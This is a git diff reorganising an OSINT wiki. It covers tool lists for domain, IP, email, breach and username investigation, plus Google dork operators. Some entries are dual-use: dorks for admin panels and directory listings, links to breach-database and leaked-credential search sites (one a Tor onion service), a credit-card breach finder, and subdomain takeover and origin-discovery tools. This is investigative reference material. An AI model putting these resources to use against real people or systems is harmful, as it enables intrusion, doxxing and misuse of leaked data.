+{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} -Miscellaneous Utilities +## Email Security Records -* [DNPedia](https://dnpedia.com/) - Domain name solutions, statistics, scripts, news, and tools. -* [Google Dig](https://toolbox.googleapps.com/apps/dig/) - Online version of the DNS dig command for performing DNS lookups. -* [SimilarWeb Traffic Analytics](https://www.similarweb.com) - Compare metadata about domains and traffic patterns across the web. -* [Backlink Checker](https://smallseotools.com/backlink-checker/) - Monitor and analyze backlinks pointing to a particular domain. -* [DomLink](https://github.com/vysecurity/DomLink) - Discover organization names and associated email addresses from a domain, then pivot to find additional related domains. -* [Unfurl](https://dfir.blog/unfurl/) - Break down and visualize the components of a URL for analysis. -* [r3con1z3r](https://github.com/abdulgaphy/r3con1z3r) - Lightweight web information gathering tool written in Python that provides a comprehensive OSINT environment for web-based footprinting. -* [theHarvester](https://github.com/laramies/theHarvester) - Tool to extract domain email addresses, subdomains, hosts, and other information from public sources. -* [gau (getallurls)](https://github.com/lc/gau) - Fetches known URLs from AlienVault's [Open Threat Exchange](https://otx.alienvault.com), the Wayback Machine, and Common Crawl for any given domain. -* [lbd (Load Balancing Detector)](https://www.kali.org/tools/lbd/) - Detects if a given domain uses DNS and/or HTTP load-balancing. -* [Metagoofil](https://github.com/laramies/metagoofil) - Extracts metadata from public documents (PDF, DOC, XLS, PPT, etc.) for a given domain. -* [Cache Checker](https://www.giftofspeed.com/cache-checker/) - Lists which web files on a website are cached, the caching method used, and the cache expiry time. -* [CloudFlair](https://github.com/christophetd/CloudFlair) - Discover origin servers of websites behind Cloudflare by using Internet-wide scan data from Censys. -* [cf-check](https://github.com/dwisiswant0/cf-check) - Check if a host is protected by Cloudflare. -* [AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships) - Discover related domains and subdomains by analyzing shared Google Analytics IDs. -* [LOTS Project](https://lots-project.com/) - Living Off Trusted Sites - Database of legitimate domains commonly abused by attackers for phishing, C2 (command and control), exfiltration, and malware delivery to evade detection. +Email authentication records help verify legitimate sending infrastructure and can expose authorized third-party services. -
+* [MXToolbox DMARC Lookup](https://mxtoolbox.com/dmarc.aspx) +* [MXToolbox SPF Lookup](https://mxtoolbox.com/spf.aspx) +* [DKIM Validator](https://dkimvalidator.com/) +* [DMARCian Inspector](https://dmarcian.com/dmarc-inspector/) +* [EasyDMARC Tools](https://easydmarc.com/tools/dmarc-lookup) +* [Mail-Tester](https://www.mail-tester.com/) -
+## Typosquatting and Domain Permutations -Google Dorking for Domains +* [dnstwist](https://github.com/elceef/dnstwist) - Domain permutation engine for typosquatting and phishing detection. +* [URLCrazy](https://github.com/urbanadventurer/urlcrazy) - Domain typo and variation generator. -Google's advanced search operators can reveal indexed content related to a domain, including sensitive files, subdomains, and configuration data. +## Favicon Hash and Technology Fingerprinting -**Useful Google Dork Operators for Domain Research:** -* `site:example.com` - All indexed pages for a domain -* `site:*.example.com` - Find subdomains -* `site:example.com filetype:pdf` - Find specific file types -* `site:example.com inurl:admin` - Find admin panels -* `site:example.com intitle:"index of"` - Find directory listings -* `intext:"example.com" site:pastebin.com` - Find domain mentions in pastes -* `related:example.com` - Find similar websites +* [Shodan Favicon Hash Search](https://www.shodan.io/) - Use `http.favicon.hash:` to find related servers. +* [FavFreak](https://github.com/devanshbatham/FavFreak) - Fetch favicon hashes for Shodan searches. +* [Wappalyzer](https://www.wappalyzer.com/) - Website technology profiler. +* [BuiltWith](https://builtwith.com/) - Website technology and hosting profile. +* [WhatRuns](https://www.whatruns.com/) - Browser extension for web technology detection. +* [Netcraft Site Report](https://sitereport.netcraft.com/) - Site technology and hosting report. -**Resources:** -* [Google Advanced Search](https://www.google.com/advanced_search) -* [Google Hacking Database (GHDB)](https://www.exploit-db.com/google-hacking-database) -* [DorkSearch](https://dorksearch.com/) - Fast Google dorking tool +## Certificate Transparency -
+* [crt.sh](https://crt.sh) - Certificate Transparency search. +* [Entrust CTSearch](https://ui.ctsearch.entrust.com/ui/ctsearchui) +* [CertSpotter](https://sslmate.com/certspotter/) - Certificate monitoring. +* [SynapsInt](https://synapsint.com/) - Unified OSINT research tool. +* [Censys Certificates](https://search.censys.io/certificates) +* [Google Certificate Transparency Report](https://transparencyreport.google.com/https/certificates) +* [SSLMate CT Policy Analyzer](https://sslmate.com/labs/ct_policy_analyzer/) -
+## Archive and Historical Data -Domain Takedown and Monitoring +* [Wayback Machine](https://web.archive.org/) - Historical website snapshots. +* [Archive.today](https://archive.ph/) - On-demand and historical page archives. +* [CachedView](https://cachedview.com/) - Google cache, Wayback Machine, and Archive.today helper. +* [waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch URLs from the Wayback Machine. +* [waymore](https://github.com/xnl-h4ck3r/waymore) - URL discovery from web archives and public datasets. -Tools for monitoring domain availability, expiration dates, and potential domain takeover vulnerabilities. +Google removed the old cache link feature from search results, so avoid relying on Google cache workflows for future investigations. -* [DomainTools](https://www.domaintools.com/) - Comprehensive domain research and monitoring platform with WHOIS history, DNS records, and brand monitoring. -* [ExpiredDomains.net](https://www.expireddomains.net/) - Search and monitor expiring and deleted domains. -* [nuclei](https://github.com/projectdiscovery/nuclei) - Fast vulnerability scanner with templates for subdomain takeover detection (SubOver is no longer maintained). -* [Subjack](https://github.com/haccer/subjack) - Subdomain takeover tool with fingerprints for popular services. -* [Can I Take Over XYZ](https://github.com/EdOverflow/can-i-take-over-xyz) - List of services vulnerable to subdomain takeover. -* [Domain Monitor](https://whoisxmlapi.com/domain-availability-api) - API for monitoring domain availability and changes. +## Website Change Tracking -
+* [Follow That Page](https://followthatpage.com/) - Email alerts for web page changes. +* [Visualping](https://visualping.io/) - Visual and content change monitoring. -
+## URL Shortening and Redirections -DNS Infrastructure Reconnaissance +* [GrayHatWarfare URL Shorteners](https://shorteners.grayhatwarfare.com) - Searches URLs exposed by shortener services. +* [urlhunter](https://github.com/utkusen/urlhunter) - Finds URLs exposed through shorteners. +* [Unshorten.It](https://unshorten.it/) - Reveals shortened-link destinations. +* [Redirect Detective](http://redirectdetective.com/) - Redirect-chain analysis. +* [Where Goes?](https://wheregoes.com) - URL redirect tracing. +* [Lookyloo](https://lookyloo.circl.lu) - Web forensics and redirect-chain capture. -Tools for deep DNS analysis including zone transfers, resolver testing, and nameserver enumeration. +Shortener preview tricks: -* [dnsenum](https://github.com/fwaeytens/dnsenum) - Multithreaded script to enumerate DNS information and discover non-contiguous IP blocks. -* [fierce](https://github.com/mschwager/fierce) - DNS reconnaissance tool for locating non-contiguous IP space. -* [dnsrecon](https://github.com/darkoperator/dnsrecon) - DNS enumeration and reconnaissance tool with multiple query types. -* [MassDNS](https://github.com/blechschmidt/massdns) - High-performance DNS resolver for bulk lookups. -* [dnsx](https://github.com/projectdiscovery/dnsx) - Fast and multi-purpose DNS toolkit by ProjectDiscovery. +* **bit.ly** - Add `+` to the end of the URL. +* **cutt.ly** - Add `@` to the end of the URL. +* **tiny.cc** - Add `=` to the end of the URL. +* **tinyurl.com** - Add `preview.` before the host. -
+## Similar Website Search -
+* [SimilarSites](https://www.similarsites.com/) +* [SitesLike](https://siteslike.com/) +* [Similarweb](https://www.similarweb.com/) -Deprecated or Offline Tools +## Safe Browser Views -**Note:** The following tools were previously popular but are no longer operational or have been deprecated. They are listed here for historical reference and in case they return to service. +* [WannaBrowser](https://www.wannabrowser.net/) - View source using different user-agent strings. +* [Browserling](https://www.browserling.com/) - Browser testing through hosted browsers. +* [URL2PNG](https://www.url2png.com/) - Website screenshots without visiting directly. -* **[omnisint.io](https://omnisint.io/) / [Project Crobat](https://github.com/Cgboal/SonarSearch)** - Rapid7's DNS database with fast API access (service discontinued) -* **[ThreatCrowd](https://www.threatcrowd.org/)** - Search engine for threats with domain relationships (service offline) -* **[tls.bufferover.run](https://tls.bufferover.run/)** - Certificate search in IPv4 space (BufferOver services discontinued) -* **[Riddler.io](https://riddler.io/)** - F-Secure network intelligence API (service discontinued) -* **[CheckShortURL](https://checkshorturl.com/)** - URL shortener analysis tool (frequently offline/unreliable) -* **[W3DT](https://w3dt.net/)** - Network troubleshooting site (appears offline) -* **[DomainIQ](https://www.domainiq.com/)** - Reverse WHOIS searches (service unavailable) -* **[SubOver](https://github.com/Ice3man543/SubOver)** - Subdomain takeover vulnerability scanner (no longer maintained, use nuclei instead) -* **[Spyse](https://spyse.com/)** - OSINT search engine (free tier heavily limited, most features require paid subscription) -* **[DomainFuzz](https://github.com/monkeym4ster/DomainFuzz)** - Domain fuzzing tool (repository appears unavailable) -* **[Bolster CheckPhish at bolster.ai/checkphish](https://bolster.ai/checkphish)** - Phishing URL checker (not specifically for typosquatting) +## Miscellaneous Domain Utilities -
+* [DNPedia](https://dnpedia.com/) - Domain statistics, scripts, news, and tools. +* [Google Admin Toolbox Dig](https://toolbox.googleapps.com/apps/dig/) - Web-based DNS lookup. +* [Backlink Checker](https://smallseotools.com/backlink-checker/) - Backlink monitoring. +* [DomLink](https://github.com/vysecurity/DomLink) - Finds organization names and email addresses from a domain. +* [Unfurl](https://dfir.blog/unfurl/) - Breaks down URLs into components. +* [r3con1z3r](https://github.com/abdulgaphy/r3con1z3r) - Web-based footprinting and OSINT CLI. +* [theHarvester](https://github.com/laramies/theHarvester) - Public-source email, host, and subdomain gathering. +* [gau](https://github.com/lc/gau) - Fetches known URLs from OTX, Wayback Machine, and Common Crawl. +* [lbd](https://www.kali.org/tools/lbd/) - Load-balancing detector. +* [Metagoofil](https://github.com/laramies/metagoofil) - Extracts metadata from public documents for a domain. +* [Cache Checker](https://www.giftofspeed.com/cache-checker/) - Lists cached web files and cache behavior. +* [CloudFlair](https://github.com/christophetd/CloudFlair) - Finds possible Cloudflare origin IPs from scan data. +* [cf-check](https://github.com/dwisiswant0/cf-check) - Checks Cloudflare protection. +* [AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships) - Finds related domains through shared Google Analytics IDs. +* [LOTS Project](https://lots-project.com/) - Legitimate domains commonly abused for phishing, C2, exfiltration, and malware delivery. -## **Investigation Mind Maps** +## Google Dorking for Domains + +* `site:example.com` - Indexed pages for a domain. +* `site:*.example.com` - Indexed subdomains. +* `site:example.com filetype:pdf` - Specific file types. +* `site:example.com inurl:admin` - Admin-related paths. +* `site:example.com intitle:"index of"` - Directory listings. +* `intext:"example.com" site:pastebin.com` - Domain mentions in pastes. +* `related:example.com` - Similar websites. + +{% content-ref url="search-engines/google-dorking-cheatsheet.md" %} +[google-dorking-cheatsheet.md](search-engines/google-dorking-cheatsheet.md) +{% endcontent-ref %} + +## Domain Monitoring + +* [DomainTools](https://www.domaintools.com/) - Domain research, WHOIS history, DNS records, and brand monitoring. +* [ExpiredDomains.net](https://www.expireddomains.net/) - Expiring and deleted domains. +* [WhoisXMLAPI Domain Availability API](https://whoisxmlapi.com/domain-availability-api) - Domain availability monitoring. + +Subdomain takeover testing with nuclei, Subjack, and related tools is offensive validation and belongs with active recon and web application testing. + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +{% content-ref url="../../web-app-hacking/" %} +[web-app-hacking](../../web-app-hacking/) +{% endcontent-ref %} + +## Deprecated or Offline Tools + +* **omnisint.io / Project Crobat** - Rapid7 DNS dataset service discontinued. +* **ThreatCrowd** - Offline/deprecated; data migrated to AlienVault OTX. +* **tls.bufferover.run** - BufferOver services discontinued. +* **Riddler.io** - Discontinued F-Secure network intelligence API. +* **CheckShortURL** - Frequently offline/unreliable. +* **W3DT** - Appears offline. +* **DomainIQ** - Service unavailable. +* **SubOver** - No longer maintained; use current takeover detection workflows in active recon. +* **Spyse** - Rebranded/acquired and no longer the same free OSINT search engine. +* **DomainFuzz** - Repository appears unavailable. +* **Bolster CheckPhish at bolster.ai/checkphish** - Not specifically a typosquatting resource. + +## Investigation Mind Maps ![](<../../.gitbook/assets/image (40).png>) diff --git a/cyber-intelligence/osint/files-media-breach-paste-code.md b/cyber-intelligence/osint/files-media-breach-paste-code.md index 121b80b..c1ed333 100644 --- a/cyber-intelligence/osint/files-media-breach-paste-code.md +++ b/cyber-intelligence/osint/files-media-breach-paste-code.md @@ -141,7 +141,6 @@ Paste sites like Pastebin have recently restricted their search capabilities. Pa * [https://leaked.site/](https://leaked.site/) - Leaked database search with extensive coverage. Requires paid subscription. * [Snusbase](https://snusbase.com/) - Breach database search with frequent updates and large collection. Paid subscription required. * [LeakCheck.io](https://leakcheck.io/) - Breach database search service. Offers both API access and web interface. Paid plans available. -* [BreachForums](https://breached.to/) - Community forum for breach discussions and data sharing. Domain may change due to law enforcement actions. Exercise caution. * [Intelligence X](https://intelx.io/) - Search engine and data archive with breach data, darknet sources, pastes, and historical internet data. Offers free searches with limitations and paid plans. * [Pwndb](http://pwndb2am4tzkvold.onion/) - Tor-based breach database search (requires Tor browser) * [h8mail](https://github.com/khast3x/h8mail) - Email OSINT and breach hunting tool that queries multiple breach data sources via API @@ -249,8 +248,11 @@ You can manually parse these by user or subject but there are some handy tools t ## **Training** -* [https://tryhackme.com/room/geolocatingimages](https://tryhackme.com/room/geolocatingimages) -* [https://tryhackme.com/room/searchlightosint](https://tryhackme.com/room/searchlightosint) +Hands-on OSINT labs have been moved to the Training section. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} --- @@ -281,6 +283,7 @@ The following tools are no longer maintained, have been shut down, or have bette Deprecated Breach Search Tools * [WeLeakInfo.to](https://weleakinfo.to/) - Seized by law enforcement in 2020. Was a major breach database search site. +* [BreachForums at breached.to](https://breached.to/) - Seized/disrupted and no longer a stable source. Breach forums frequently rebrand or move domains; verify current legal and safety implications before researching any successor. * [GhostProject.fr](https://ghostproject.fr/) - Free breach database search (Site frequently unavailable/unreliable) * [MyPwd.io](https://mypwd.io/) - Password leak monitoring (Service status unreliable) * [pwd query](https://pwdquery.xyz/) - Password breach checking (Site frequently down) diff --git a/cyber-intelligence/osint/ip-address.md b/cyber-intelligence/osint/ip-address.md index c1dd256..e267f4b 100644 --- a/cyber-intelligence/osint/ip-address.md +++ b/cyber-intelligence/osint/ip-address.md @@ -1,107 +1,94 @@ # IP Address -## Overview +Use this page for passive IP investigation: registration data, ASN ownership, BGP/routing context, geolocation, anonymization checks, and related infrastructure pivots. Active port scanning belongs in Red Offensive; reputation and blacklist checks belong in Threat Data. -When researching IP addresses, understanding the context of your investigation is critical. The tools and methods you use will vary depending on whether you're conducting offensive or defensive operations. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} -**Offensive Security & Reconnaissance:** -For offensive security, threat hunting, and attack surface mapping, focus on current registration data and associated artifacts such as: -- Hosted domains -- Autonomous System Numbers (ASN) -- Network infrastructure -- Related services and ports - -**Defensive Security Operations:** -For defensive operations (blue team), prioritize historical activity data and behavioral patterns. These defensive tools are covered in the threat research section. This page focuses primarily on offensive intelligence gathering and reconnaissance. +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} ## IP.html Tool -IP.html is a convenient automation tool created by Michael Bazzel that streamlines initial IP address reconnaissance. The tool automatically populates multiple search queries across various intelligence platforms, allowing you to quickly gather comprehensive information about your target. - -> **Important Note:** Some platforms included in this tool are no longer available or have been deprecated (see Deprecated Tools section below). Always verify tool functionality before relying on results. +IP.html is a Michael Bazzell helper that opens multiple IP research sources from one input. -**Included search platforms (currently active):** -- **Search Engines:** Bing -- **Network Analysis:** Reverse IP, Port Scan, TraceRoute -- **Registration Data:** IP Whois, Who.IS IP -- **Threat Intelligence:** Shodan, ZoomEye -- **Public Records:** "That's Them", Dehashed (requires authentication) -- **Miscellaneous:** Locate IP, Torrents, UltraTools IP +{% hint style="info" %} +Some entries in older IP.html workflows may be stale or active recon oriented. Treat port scanning as active testing, and verify each external service before relying on it. +{% endhint %} -{% file src="../../.gitbook/assets/IP (1).html" %} +Current useful lookup categories include: +* **Search engines** - Bing and other indexed references. +* **Registration data** - IP WHOIS and RDAP. +* **Network ownership** - ASN, routing, reverse IP, and infrastructure pivots. +* **Cyber search** - Shodan, ZoomEye, and similar indexed scan data. +* **Public records** - Identity or breach pivots where legally appropriate. +{% file src="../../.gitbook/assets/IP (1).html" %} ## WHOIS vs. RDAP -WHOIS has been the traditional protocol for gathering registration data on IP addresses and domains. However, it lacks a standardized structure for organizing and maintaining registration data, which can lead to inconsistent results. - -**RDAP (Registration Data Access Protocol)** addresses these limitations. Standardized in 2015 (RFCs 7480-7485), RDAP provides a structured, modern alternative to WHOIS with consistent data formatting and better security features. RDAP is gradually replacing WHOIS as the preferred protocol for registration data queries. +WHOIS is the older protocol for IP and domain registration lookups. It is useful, but response formatting varies between registries. -**Resources:** -* RDAP lookup tool: [https://client.rdap.org](https://client.rdap.org) -* RDAP documentation: [https://www.icann.org/rdap](https://www.icann.org/rdap) +RDAP (Registration Data Access Protocol) is the modern structured replacement. The RFC 7480 series was published in 2015, and RDAP adoption has continued across registries since then. -## ASN (Autonomous System Number) Lookup +* [RDAP Lookup](https://client.rdap.org) +* [ICANN RDAP](https://www.icann.org/rdap) -Understanding the Autonomous System Number (ASN) associated with an IP address is crucial for mapping network ownership, identifying infrastructure relationships, and conducting thorough reconnaissance. ASNs are assigned to networks and internet service providers, providing insight into who controls the routing of specific IP ranges. +## ASN Lookup -**ASN Lookup Tools:** -* [https://bgp.he.net/](https://bgp.he.net/) - Hurricane Electric BGP Toolkit - Comprehensive ASN information, prefixes, and peering data -* [https://asnlookup.com/](https://asnlookup.com/) - Quick ASN lookup with network prefix information -* [https://stat.ripe.net/](https://stat.ripe.net/) - RIPE Stat - Detailed statistics and data about IP addresses, ASNs, and prefixes -* [https://mxtoolbox.com/asn.aspx](https://mxtoolbox.com/asn.aspx) - MXToolbox ASN Lookup - ASN information with network details -* [https://ipinfo.io/](https://ipinfo.io/) - IP address data including ASN, geolocation, and company information -* [https://www.ultratools.com/tools/asnInfo](https://www.ultratools.com/tools/asnInfo) - UltraTools ASN Information lookup +Autonomous System Numbers (ASNs) help identify who controls routed IP space and how infrastructure relates to providers, peers, and prefixes. -## BGP & Routing Information +* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - ASN, prefix, peering, WHOIS, and DNS context. +* [ASNLookup](https://asnlookup.com/) - Quick ASN and prefix lookup. +* [RIPE Stat](https://stat.ripe.net/) - IP, ASN, and routing statistics. +* [MXToolbox ASN Lookup](https://mxtoolbox.com/asn.aspx) - ASN lookup with network details. +* [ipinfo.io](https://ipinfo.io/) - ASN, geolocation, organization, and IP metadata. +* [UltraTools ASN Info](https://www.ultratools.com/tools/asnInfo) -Border Gateway Protocol (BGP) is the routing protocol of the internet. Analyzing BGP data provides visibility into how networks are interconnected, routing paths, and network relationships. This information is valuable for understanding internet infrastructure, identifying upstream providers, and detecting routing anomalies. +## BGP and Routing Information -**BGP Analysis Tools:** -* [https://bgpview.io/](https://bgpview.io/) - BGP routing information, ASN details, peer relationships, and prefix announcements -* [https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris](https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris) - RIPE RIS - Real-time BGP routing data collection -* [https://www.routeviews.org/](https://www.routeviews.org/) - University of Oregon Route Views Project - BGP routing table archives and analysis -* [https://bgp.tools/](https://bgp.tools/) - Modern BGP analysis and monitoring platform -* [https://www.peeringdb.com/](https://www.peeringdb.com/) - Database of networks and interconnection data for peering coordination +* [BGPView](https://bgpview.io/) - ASN details, prefixes, peers, and routing data. +* [RIPE RIS](https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris) - Real-time BGP routing data. +* [Route Views](https://www.routeviews.org/) - BGP route archives. +* [bgp.tools](https://bgp.tools/) - Modern BGP and ASN analysis. +* [PeeringDB](https://www.peeringdb.com/) - Peering and interconnection data. ## IP Anonymization Detection -Determining whether an IP address is associated with anonymization services is crucial for threat intelligence and investigation work. - -### Tor Node Detection +These tools help identify Tor exits, VPN/proxy services, and other anonymization infrastructure. Cross-reference results before making enforcement decisions. -**ExoneraTor** - Check if an IP address was a Tor relay on a specific date: -* [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) +* [ExoneraTor](https://metrics.torproject.org/exonerator.html) - Check whether an IP was a Tor relay on a specific date. +* [SEON IP Analysis](https://seon.io/intelligence-tool/#ip-analysis-module) - IP risk, Tor, VPN, proxy, and blacklist context. +* [IPQualityScore VPN IP Check](https://www.ipqualityscore.com/vpn-ip-address-check) - VPN and proxy detection. +* [I Know What You Download](https://iknowwhatyoudownload.com) - Torrent activity associated with an IP address. -**SEON Intelligence Tool** - Comprehensive IP analysis including Tor detection, VPN, proxy, and blacklist checks: -* [https://seon.io/intelligence-tool/#ip-analysis-module](https://seon.io/intelligence-tool/#ip-analysis-module) +Tor and VPN OPSEC guidance lives in the privacy section. -### VPN Detection - -**IPQualityScore** - Identify VPN exit nodes and proxy services: -* [https://www.ipqualityscore.com/vpn-ip-address-check](https://www.ipqualityscore.com/vpn-ip-address-check) - -### Torrent Activity - -**I Know What You Download** - Search for torrent activity associated with an IP address: -* [https://iknowwhatyoudownload.com](https://iknowwhatyoudownload.com) +{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} ## IP Geolocation -IP [geolocation](https://www.iplocation.net/geolocation) can be determined through various methods including HTML5 API, cellular signal triangulation, and IP address databases. The following services use different geolocation databases and methodologies to approximate the physical location of an IP address. +IP geolocation is approximate. Results can reflect ISP registration, VPN/proxy exit location, cloud region, or mobile carrier infrastructure rather than a user's physical location. -> **Important Note:** Always cross-reference multiple geolocation tools for accuracy. Results may show the registrant's location rather than the actual IP location. Geographic precision varies based on the IP type (data center, residential, mobile) and the quality of the geolocation database. - -**Geolocation Tools:** -* [https://www.iplocation.net/](https://www.iplocation.net/) - Comprehensive IP location and network information -* [https://www.ip2location.com/](https://www.ip2location.com/) - IP geolocation with ISP and domain data -* [https://ipapi.com/](https://ipapi.com/) - Real-time IP geolocation with comprehensive location and ISP data -* [https://ipstack.com/](https://ipstack.com/) - IP geolocation API with detailed location information -* [https://www.maxmind.com/en/geoip-demo](https://www.maxmind.com/en/geoip-demo) - MaxMind GeoIP2 lookup (industry-standard geolocation database) +* [IPLocation.net](https://www.iplocation.net/) +* [IP2Location](https://www.ip2location.com/) +* [ipapi](https://ipapi.com/) +* [ipstack](https://ipstack.com/) +* [MaxMind GeoIP Demo](https://www.maxmind.com/en/geoip-demo) ## Additional IP Intelligence Tools -* [https://focsec.com/](https://focsec.com/) - Comprehensive IP reputation check for VPN, proxy, Tor, and malicious bot detection +* [Focsec](https://focsec.com/) - IP reputation API for VPN, proxy, Tor, and bot detection. + +## Deprecated or Unreliable Tools +These are preserved for historical reference or because they may appear in older IP.html workflows. +* **Google cached pages** - Google removed the classic cached-page feature from search results. +* **Legacy public port-scan widgets** - Treat as active testing and use current authorized scanning workflows instead. +* **Unmaintained IP reputation mirrors** - Prefer current providers listed on Threat Data. diff --git a/cyber-intelligence/osint/misc-osint.md b/cyber-intelligence/osint/misc-osint.md index f0b5ade..e0bb74b 100644 --- a/cyber-intelligence/osint/misc-osint.md +++ b/cyber-intelligence/osint/misc-osint.md @@ -38,6 +38,8 @@ ## **Cryptocurrencies** +Core blockchain explorers are also listed on Threat Data. This page keeps investigation-oriented cryptocurrency OSINT tools, reputation lookups, and wallet-tracing helpers. +
Cryptocurrency Search Tools @@ -94,17 +96,24 @@ ## **Miscellaneous Utilities** -* OSINT Browser Extensions - * [https://github.com/ninoseki/mitaka](https://github.com/ninoseki/mitaka) - * [https://chrome.google.com/webstore/detail/sputnik/manapjdamopgbpimgojkccikaabhmocd?hl=en](https://chrome.google.com/webstore/detail/sputnik/manapjdamopgbpimgojkccikaabhmocd?hl=en) - * [https://chrome.google.com/webstore/detail/threatpinch-lookup/ljdgplocfnmnofbhpkjclbefmjoikgke?hl=en](https://chrome.google.com/webstore/detail/threatpinch-lookup/ljdgplocfnmnofbhpkjclbefmjoikgke?hl=en) +* OSINT browser extensions are maintained on Threat Data with other quick lookup tools. + +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} + * [https://www.webgap.io/](https://www.webgap.io/) - Remote browser service providing 12 months of free access for OSINT researchers. * [Hunchly](https://hunch.ly/) - Web capture tool that passively records web pages as you browse. Useful for tracking large volumes of pages or preserving content that may change after your visit. * [Carbon14](https://github.com/Lazza/Carbon14) - OSINT tool for estimating when a web page was written. Common CMS platforms easily allow modification of displayed content dates, affecting both websites and RSS feeds. Since the dynamic nature of most web pages prevents investigators from reliably using the `Last-Modified` HTTP header, this tool leverages the `Last-Modified` header of linked images to estimate the time period spent preparing content. This can be compared against CMS-displayed dates to detect discrepancies. -* [JupyterPen](https://github.com/obheda12/JupyterPen) - OSINT framework built around Jupyter Notebooks that has expanded into a full penetration testing tool. +* JupyterPen has moved to Red Offensive because it has expanded into a penetration testing toolkit. + +{% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %} + * [CardPwn](https://github.com/itsmehacker/CardPwn) - OSINT tool to find breached credit card information. * [https://api.c99.nl/](https://api.c99.nl/) - API platform with dozens of web-based utilities. -* [https://www.tracelabs.org/initiatives/osint-vm](https://www.tracelabs.org/initiatives/osint-vm) - TraceLabs OSINT virtual machine for investigations. +* Trace Labs OSINT VM is maintained on the OSINT hub page. * [https://start.me/p/0PeKwy/osint-russie-iec-ies](https://start.me/p/0PeKwy/osint-russie-iec-ies) - Curated OSINT resources focused on Russia. * [https://github.com/j3ssie/metabigor](https://github.com/j3ssie/metabigor) - Intelligence tool designed to perform OSINT tasks without requiring API keys. * [upi-recon-cli](https://github.com/LuD1161/upi-recon-cli) - Command-line reconnaissance tool using virtual payment addresses (VPA). Leverages the UPI platform to discover mobile numbers, Gmail accounts, and vehicle registration numbers. diff --git a/cyber-intelligence/osint/name-phone-gov-record.md b/cyber-intelligence/osint/name-phone-gov-record.md index 39410a9..54d1c1a 100644 --- a/cyber-intelligence/osint/name-phone-gov-record.md +++ b/cyber-intelligence/osint/name-phone-gov-record.md @@ -35,47 +35,11 @@ Name search records can become ambiguous quickly when dealing with common names {% file src="../../.gitbook/assets/Name (1).html" %} -## Email OSINT +Email and username OSINT has its own canonical page. Use this page when the investigation starts from a person, phone number, public record, business record, vehicle, property, or government source; pivot to Username/Email when the identifier becomes an email address or handle. -
- -Email Search and Verification Tools - -Email addresses are valuable identifiers that can reveal connected accounts, data breaches, and professional affiliations. Email OSINT encompasses finding email addresses associated with individuals or organizations, verifying their validity, and discovering what services or breaches they're connected to. - -* [Hunter.io](https://hunter.io/) - Find and verify professional email addresses associated with domains. Useful for discovering email patterns within organizations (limited free searches, subscription required for extensive use). -* [Have I Been Pwned](https://haveibeenpwned.com/) - Check if an email address has been compromised in known data breaches. Provides breach details and compromised data types. -* [DeHashed](https://dehashed.com/) - Search engine for leaked credentials and breach data. Allows searching by email, username, IP address, or other identifiers (requires paid subscription for full access). -* [Epieos](https://epieos.com/) - Advanced OSINT tool for investigating Google and Microsoft accounts. Reveals associated services, profile information, and account activity. -* [EmailRep.io](https://emailrep.io/) - Email reputation and threat intelligence service. Identifies suspicious or malicious email addresses. -* [Holehe](https://github.com/megadose/holehe) - Tool to check if an email is attached to an account on various websites like Twitter, Instagram, Imgur, and more. -* [GHunt](https://github.com/mxrch/GHunt) - Investigate Google accounts using email addresses. Reveals YouTube channels, Google Maps reviews, profile photos, and more. -* [h8mail](https://github.com/khast3x/h8mail) - Email OSINT and breach hunting tool using multiple data breach sources and APIs. -* [Clearbit Connect](https://connect.clearbit.com/) - Browser extension for finding email addresses and company information. -* [Email Permutator+](https://github.com/Tedixx/Email-Permutator-Plus) - Generate possible email address permutations based on name and domain. - -
- -## Username Enumeration - -
- -Username Search Tools - -Username enumeration allows investigators to track individuals across multiple platforms and services using their chosen usernames. Many people reuse usernames across different platforms, making this a powerful technique for building comprehensive profiles. - -* [Sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across 400+ social networks. Command-line tool with extensive platform coverage. -* [WhatsMyName](https://whatsmyname.app/) - Search for username availability and existence across 600+ websites. Web-based interface with detailed results. -* [Namechk](https://namechk.com/) - Check username and domain availability across multiple platforms simultaneously. -* [Social-Analyzer](https://github.com/qeeqbox/social-analyzer) - Analyze and find profiles across 1000+ websites and extract information from identified accounts. -* [Maigret](https://github.com/soxoj/maigret) - Collect dossiers on people by username. Fork of Sherlock with additional features and over 3000 sites. -* [Instant Username Search](https://instantusername.com/) - Real-time username availability checker across major social platforms. -* [UserSearch.org](https://usersearch.org/) - Find usernames across social media and other platforms. -* [Knowem](https://knowem.com/) - Search over 500 social networks and websites to check username availability and find registered accounts. -* [CheckUsernames](https://checkusernames.com/) - Quick username search across multiple platforms. -* [NameCheckup](https://namecheckup.com/) - Check username availability on social media sites. - -
